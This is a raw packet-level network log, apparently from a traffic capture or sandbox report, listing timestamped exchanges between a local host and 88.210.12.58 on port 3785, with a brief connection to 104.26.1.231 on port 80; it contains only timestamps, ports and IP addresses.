Dec 6, 2024 10:41:14.263557911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:14.341674089 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:14.365524054 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:14.441715002 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:14.465907097 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:14.544485092 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:14.561475039 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:14.642666101 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:14.664210081 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:14.743731976 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:14.762449026 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:14.844666004 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:14.863421917 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:14.945527077 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:14.964510918 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:15.046387911 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:15.065306902 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:15.145734072 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:15.166141987 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:15.245726109 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:15.265583992 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:15.365473032 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:15.770760059 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:15.870816946 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:15.890476942 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:15.970787048 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:15.991014004 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:16.075644970 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:16.090557098 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:16.171797037 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:16.195374012 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:16.273623943 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:16.291712999 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:16.375675917 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:16.393887997 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:16.473659039 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:16.495492935 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:16.575632095 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:16.593391895 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:16.675626993 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:16.695502043 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:16.775716066 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:16.795504093 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:16.875684023 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:16.895837069 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:16.978545904 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:16.995450020 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:17.079830885 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:17.101131916 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:17.180699110 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:17.199925900 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:17.281676054 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:17.300466061 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:17.382723093 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:17.401448011 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:17.483728886 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:17.502475977 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:17.584676027 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:17.604026079 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:17.685702085 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:17.704555035 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:17.786751032 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:17.805454016 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:17.906445026 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:18.321108103 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:18.425533056 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:18.442411900 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:18.522674084 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:18.545193911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:18.623683929 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:18.642559052 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:18.725537062 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:18.744352102 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:18.824686050 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:18.845252037 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:18.924679041 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:18.944583893 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:19.025773048 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:19.044501066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:19.125693083 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:19.145529985 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:19.225725889 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:19.245572090 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:19.326679945 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:19.345830917 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:19.426687002 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:19.446481943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:19.526736021 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:19.546777010 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:19.627692938 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:19.646579027 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:19.727703094 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:19.747592926 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:19.828728914 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:19.847573996 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:19.929708958 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:19.948735952 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:20.030827999 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:20.049406052 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:20.133552074 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:20.150825977 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:20.233551979 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:20.253350019 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:20.341458082 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:20.353332996 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:20.443475008 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:20.461299896 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:20.563355923 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:20.682840109 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:20.802608967 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:21.097173929 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:21.197705030 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:21.218103886 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:21.298727036 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:21.317429066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:21.399729967 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:21.418503046 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:21.499761105 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:21.519540071 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:21.599744081 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:21.620021105 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:21.699819088 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:21.719485044 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:21.800726891 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:21.819535017 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:21.900809050 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:21.920460939 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:22.001743078 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:22.020695925 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:22.101727962 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:22.121444941 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:22.202774048 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:22.221508980 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:22.305597067 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:22.322464943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:22.403882027 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:22.425394058 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:22.503640890 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:22.523838043 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:22.603818893 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:22.623506069 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:22.726037979 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:22.726481915 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:22.826697111 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:22.846333981 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:22.929563046 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:22.946389914 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:23.027045965 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:23.049316883 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:23.127726078 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:23.146795034 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:23.247484922 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:23.545135021 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:23.664834023 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:23.847692966 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:23.948710918 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:23.967408895 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:24.048715115 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:24.068407059 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:24.149719000 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:24.168693066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:24.253582001 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:24.270008087 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:24.349705935 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:24.373343945 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:24.394391060 CET	49744	80	192.168.2.6	104.26.1.231
Dec 6, 2024 10:41:24.449721098 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:24.469548941 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:24.514743090 CET	80	49744	104.26.1.231	192.168.2.6
Dec 6, 2024 10:41:24.514877081 CET	49744	80	192.168.2.6	104.26.1.231
Dec 6, 2024 10:41:24.552086115 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:24.569549084 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:24.650715113 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:24.672754049 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:24.753573895 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:24.778101921 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:24.852713108 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:24.873251915 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:24.953473091 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:24.972486019 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:25.053738117 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:25.073137045 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:25.153821945 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:25.173417091 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:25.253760099 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:25.273555040 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:25.354741096 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:25.373528957 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:25.454731941 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:25.474412918 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:25.554719925 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:25.574561119 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:25.655731916 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:25.679670095 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:25.756720066 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:25.775904894 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:25.856739998 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:25.876382113 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:25.958775997 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:25.976504087 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:26.058754921 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:26.078471899 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:26.174211025 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:26.178467989 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:26.277393103 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:26.294009924 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:26.397149086 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:26.595740080 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:26.699892998 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:26.715531111 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:26.799719095 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:26.819706917 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:26.899682045 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:26.919512033 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:26.999789000 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:27.019499063 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:27.103971004 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:27.119808912 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:27.203728914 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:27.223673105 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:27.304718971 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:27.323409081 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:27.405801058 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:27.424680948 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:27.506858110 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:27.525496960 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:27.606794119 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:27.626785040 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:27.707756042 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:27.727866888 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:27.808787107 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:27.827594995 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:27.909851074 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:27.931189060 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:28.009740114 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:28.029547930 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:28.110769987 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:28.129499912 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:28.211844921 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:28.230650902 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:28.311600924 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:28.331598997 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:28.411623001 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:28.431746006 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:28.511676073 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:28.531375885 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:28.611017942 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:28.631448984 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:28.711898088 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:28.732752085 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:28.831981897 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:28.943614006 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:29.063354015 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:29.243748903 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:29.343751907 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:29.363471031 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:29.443794966 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:29.466514111 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:29.543802023 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:29.563457966 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:29.643755913 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:29.663567066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:29.743762970 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:29.763475895 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:29.844866991 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:29.863471031 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:29.945796013 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:29.965163946 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:30.045794964 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:30.065588951 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:30.150424957 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:30.165503025 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:30.249804020 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:30.270311117 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:30.350811958 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:30.371226072 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:30.450773001 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:30.470647097 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:30.551778078 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:30.570534945 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:30.655729055 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:30.671485901 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:30.755660057 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:30.775441885 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:30.853810072 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:30.875328064 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:30.955794096 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:30.973488092 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:31.055660963 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:31.075592995 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:31.154839993 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:31.175492048 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:31.255846977 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:31.274764061 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:31.355926991 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:31.375602961 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:31.455781937 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:31.475778103 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:31.556756973 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:31.575575113 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:31.656778097 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:31.676594019 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:31.757745981 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:31.776504993 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:31.857773066 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:31.877779007 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:31.958801985 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:31.977493048 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:32.059762001 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:32.078511000 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:32.164444923 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:32.179590940 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:32.263758898 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:32.284328938 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:32.363852024 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:32.383743048 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:32.464750051 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:32.483760118 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:32.565623999 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:32.586405039 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:32.664763927 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:32.686295986 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:32.765782118 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:32.784527063 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:32.869617939 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:32.885682106 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:32.966742992 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:32.989403009 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:33.067774057 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:33.086466074 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:33.167824030 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:33.187567949 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:33.268794060 CET	49737	3785	192.168.2.6	88.210.12.58
